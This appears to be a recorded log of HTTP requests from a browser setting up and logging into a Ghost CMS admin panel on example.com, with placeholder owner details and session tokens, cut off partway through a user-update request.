{"method": "GET", "target": "/ghost/assets/kbd-Bbi4Nkkp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/sheet-CCNUcK2Q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-mobile-BD7lg4t-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/sticky-footer-nkSt2z_Z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/large-page-title-Ji9icfTU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/custom-theme-settings-D2WGaIc_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/themes-DSPpuTUn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/settings-loading-Dxi0iRq5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/iso-_B9XaeWP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-preferences-B0PbfB0i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/site-uZuXd-v3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/reload-Ct6s_xiO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/admin-link-CP2k2nca.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tags-CP6OL-4x.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/posts-ANvOkryA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/command-B3vdhO98.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/popover-DRRhIsW0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/multi-select-combobox-BgzCpWMK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/index.module-CXVVhCXr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pages-CSQSKI6V.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tiers-KrkVJjTT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/label-picker-CHocWit1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/shared-views-av3Cu3au.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/api-o_yGTaqZ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/koenig-loader-Cc2OMiDU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/editor-loading-B2j1keaV.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/constants-CbfF6lyS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/moment-timezone-D5Us53JJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/logo-loader-88VPEpXE.mp4", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: identity", "Range: bytes=0-"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/users/me/?include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/settings/?group=site%2Ctheme%2Cprivate%2Cmembers%2Cportal%2Cnewsletter%2Cemail%2Clabs%2Cslack%2Cunsplash%2Cviews%2Cfirstpromoter%2Ceditor%2Ccomments%2Canalytics%2Cannouncement%2Cpintura%2Cdonations%2Csecurity%2Csocial_web%2Cexplore%2Ctransistor", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/site/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/config/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/setup-DWks57uU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/field-574pWL80.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/label-vIUVGh2q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-8uIrBDxl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/auth-layout-CaD1cj0i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/validator-C1GVGAAP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/password-rules-Co1GJV0H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/ghost-orb-bYPPSSAp.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/InterVariable-DiVDrmQJ.woff2", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/assets/index-C3xC5ZJE.css", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "Content-Length: 123", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"setup\":[{\"blogTitle\":\"Example Blog\",\"name\":\"Alice Example\",\"email\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 64", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}"}
{"method": "GET", "target": "/ghost/api/admin/members/?limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/themes/active/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/global-search-modal-7K0SXxhj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dirty-confirm-dialog-BY-NFehF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-dirty-confirmation-BZt1qjQk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/__vite-browser-external-QvLZ7d7o.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/search-index-BVbNE68U.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/open-section-Dbja-jTl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-section-visibility-qAu_ZOpN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/availability-ZBcKUaLw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/notifications/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1308", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
{"method": "GET", "target": "/ghost/api/admin/identities/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/.ghost/activitypub/v1/notifications/unread/count", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/activity+json", "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImhXOHdzSHVNYURNZV9nRTVsWHY5dmI1MHl0VWxfQzVxRlV0a1VGdTF2U3cifQ.eyJzdWIiOiJhbGljZUBleGFtcGxlLmNvbSIsInJvbGUiOiJPd25lciIsImlhdCI6MTc5NDM5ODA1MiwiZXhwIjoxNzk0Mzk4MzUyLCJpc3MiOiJodHRwOi8vZXhhbXBsZS5jb20vZ2hvc3QvIn0.RjbXlKtZ_TjYmfctDzYbqNb7NRlIgFi5vt7gc6CduPkNWzj1ZFO5bhwMdp_D-Bglj01RVoZq3KIEi5Ptb33MHVfulH-_KTtef0LUtKEot8iSDUBFjDsI4nD3RGANjkv-FTn3ig_hCYPbUOxtgB4PK7MjkhDDD-_xW41JyQ4xxNtkxKJaCFesD53mbK1y1IrlAFCbxOhHgKYsV3tUTHLZuER5rxYwWqwso7BtLtsu08vBzzhCsVXgfq2l6NB4SdW_XkkQUznze0nHtOuNEMBI3ASwN8E2pHxUUd2Lsw6oXNqtaBdpMKW-OpZKBvzJ47FvDjdx9If36UMcsvE5IxNvMg", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/onboarding-route-CTfF7IJD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/share-modal-D6_apZJH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1369", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice 